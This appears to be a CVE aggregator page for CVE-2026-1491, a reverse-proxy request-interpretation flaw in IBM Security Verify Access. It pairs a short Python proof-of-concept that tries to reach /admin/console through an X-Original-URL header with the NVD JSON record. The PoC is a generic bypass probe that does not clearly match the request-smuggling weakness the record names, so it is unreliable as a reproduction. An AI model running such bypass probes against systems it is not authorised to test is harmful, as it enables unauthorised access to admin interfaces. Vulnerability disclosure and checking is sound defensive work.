CVE-2026-1491

import requests def check_cve_2026_1491(target_url): """ PoC for CVE-2026-1491. Tests for HTTP request interpretation inconsistency. """ # Attempt to access a restricted path using a malformed request # that might bypass the reverse proxy check. headers = { 'User-Agent': 'PoC-Scanner/1.0', 'X-Original-URL': '/admin/console' # Example header manipulation } try: # Sending request to the target response = requests.get(target_url, headers=headers, timeout=10) # Check if response contains sensitive keywords indicating unauthorized access if response.status_code == 200 and ('admin' in response.text.lower() or 'config' in response.text.lower()): print(f"[+] Potential vulnerability detected at {target_url}") print(f"[+] Response Length: {len(response.text)}") return True else: print(f"[-] Target does not appear vulnerable.") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": url = "http://target-ip/" check_cve_2026_1491(url)

{"cve": {"id": "CVE-2026-1491", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:16:58.317", "lastModified": "2026-04-07T16:30:45.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 IBM Security Verify could allow a remote attacker to access sensitive information due to an inconsistent interpretation of an HTTP request by a reverse proxy."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "11212874-804C-42B2-AF5F-116F5C367237"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268253", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}